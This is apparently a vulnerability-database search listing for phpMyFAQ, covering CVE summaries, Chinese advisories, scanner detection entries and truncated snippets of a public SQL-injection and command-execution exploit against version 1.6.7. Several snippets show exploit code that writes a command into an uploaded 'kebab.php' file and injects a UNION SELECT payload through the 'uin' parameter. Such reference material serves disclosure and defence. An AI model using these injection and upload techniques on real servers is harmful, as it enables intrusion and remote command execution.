1985 matches found
CVE-2009-4040
CVE-2009-4040 affects phpMyFAQ prior to 2.0.17 and 2.5.x prior to 2.5.2. It is a cross-site scripting (XSS) vulnerability on the search page triggered by unsanitized input, notably with IE6/IE7. Root cause: insufficient input sanitization on search parameters. Impact: remote attacker can inject s...
phpMyFAQ搜索页面跨站脚本漏洞
BUGTRAQ ID: 37020 phpMyFAQ是一款多语言、基于数据库的FAQ系统。 phpMyFAQ的搜索页面没有正确地过滤GET变量，远程攻击者可以通过特制的URL请求执行跨站存储式跨站脚本攻击，在出错消息的输出中注入任意HTML代码。这可能导致泄漏域Cookie，如会话标识符。 phpMyFAQ = 2.5.1 厂商补丁： phpMyFAQ -------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.phpmyfaq.de/download.php?do=download&number=2.0.17&ext=.zip...
phpMyFAQ Search Page XSS Vulnerability
phpMyFAQ is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. This VT has been deprecated as a duplicate of the following VT: phpMyFAQ 2.0.17, 2.5.x 2.5.2 XSS Vulnerability OID: 1.3.6.1.4.1.25623.1.0.900982 SPDX-FileCopyrightText...
phpMyFAQ Search Page Cross Site Scripting Vulnerability
phpMyFAQ is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the...
phpMyFAQ Detection (HTTP)
HTTP based detection of phpMyFAQ. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription scriptoid"1.3.6.1.4.1.25623.1.0.100106";...
phpMyFAQ Detection
This host is running phpMyFAQ, an open source FAQ system using PHP and available for many databases. OpenVAS Vulnerability Test $Id: phpmyfaqdetect.nasl 5739 2017-03-27 14:48:05Z cfi $ phpMyFAQ Detection Authors: Michael Meyer Updated to detect beta versions. - By Nikita MR on 2009-11-24 11:10:45...
FreeBSD Ports: phpmyfaq
The remote host is missing an update to the system as announced in the referenced advisory. VID c6b9aee8-3071-11da-af18-000ae4641456 OpenVAS Vulnerability Test $ Description: Auto generated from vuxml or freebsd advisories Authors: Thomas Reinke Copyright: Copyright c 2008 E-Soft Inc...
FreeBSD Ports: phpmyfaq
The remote host is missing an update to the system as announced in the referenced advisory. SPDX-FileCopyrightText: 2008 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...
phpMyFAQ <= 1.6.7 Remote SQL Injection / Command Execution Exploit
No description provided by source. !/usr/bin/php5-cgi -q " localhost:4001 [email protected] / function doupload$baseurl, $proxy, $cmd $fp = fopen"kebab.php", "w"; if!$fp die"Cannot open file for writing"; $code = "Un1q" . $cmd . ""; fwrite$fp, $code; fclose$fp; $sendvars"aktion" =...
phpMyFAQ <= 1.6.7 Remote SQL Injection / Command Execution Exploit
No description provided by source. !/usr/bin/php5-cgi -q ? / Sql injection / remote command execution exploit for phpmyfaq 1.6.8 Bugtraq: http://www.securityfocus.com/bid/21944 CVS:...
phpMyFAQ <= 1.6.7 Remote SQL Injection / Command Execution Exploit
Exploit for unknown platform in category web applications ================================================================== phpMyFAQ " localhost:4001 email protected / function doupload$baseurl, $proxy, $cmd $fp = fopen"kebab.php", "w"; if!$fp die"Cannot open file for writing"; $code = "Un1q"...
phpMyFAQ 1.6.7 - SQL Injection Command Execution
phpMyFAQ 1.6.7 - SQL Injection Command Execution !/usr/bin/php5-cgi -q " localhost:4001 [email protected] / function doupload$baseurl, $proxy, $cmd $fp = fopen"kebab.php", "w"; if!$fp die"Cannot open file for writing"; $code = "Un1q" . $cmd . ""; fwrite$fp, $code; fclose$fp; $sendvars"aktion"...
phpMyFAQ 1.6.7 - SQL Injection / Command Execution
!/usr/bin/php5-cgi -q " localhost:4001 [email protected] / function doupload$baseurl, $proxy, $cmd $fp = fopen"kebab.php", "w"; if!$fp die"Cannot open file for writing"; $code = "Un1q" . $cmd . ""; fwrite$fp, $code; fclose$fp; $sendvars"aktion" = "save"; $sendvars"uin" = "-1' UNION SELECT...
CVE-2007-1032
Unspecified vulnerability in phpMyFAQ 1.6.9 and earlier, when registerglobals is enabled, allows remote attackers to "gain the privilege for uploading files on the server."...
Code injection
Unspecified vulnerability in phpMyFAQ 1.6.9 and earlier, when registerglobals is enabled, allows remote attackers to "gain the privilege for uploading files on the server."...
CVE-2007-1032
Unspecified vulnerability in phpMyFAQ 1.6.9 and earlier, when registerglobals is enabled, allows remote attackers to "gain the privilege for uploading files on the server."...
CVE-2007-1032
Summary: CVE-2007-1032 affects phpMyFAQ 1.6.9 and earlier. The issue allows a remote attacker to upload files with the web server’s privileges when PHP register_globals is enabled. The vulnerability is triggered via scripts in the admin area (admin/attachment.php and admin/editor/plugins/ImageMan...
phpMyFAQ < 1.6.10 Multiple Script Arbitrary File Upload
The installation of phpMyFAQ on the remote host allows for bypassing authentication or escalating privileges via the 'admin/attachment.php' and 'admin/editor/plugins/ImageManager/images.php' scripts. By leveraging these issues, a remote attacker can upload files, possibly even containing arbitrar...
PHPMyFAQ SQL注入漏洞
PHPMyFAQ是一款基于PHP的WEB应用程序。 PHPMyFAQ不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，获得敏感信息。 问题是多个脚本对用户提交的WEB参数缺少过滤，提交恶意脚本代码作为参数数据，可导致获得敏感信息。 phpMyFAQ 1.6.7 phpMyFAQ phpMyFAQ 1.6.7 phpMyFAQ phpMyFAQ 1.6.8 http://www.phpmyfaq.de/getfaq.php?number=1.6.8&version=full&ext=.zip...
phpMyFAQ < 1.6.8 Multiple SQL Injection Vulnerabilities
The version of phpMyFAQ on the remote host does not properly validate input to the 'uin' parameter of several scripts before using it in database queries. An unauthenticated, remote attacker may be able to leverage these issues to launch SQL injection attacks against the affected application, eve...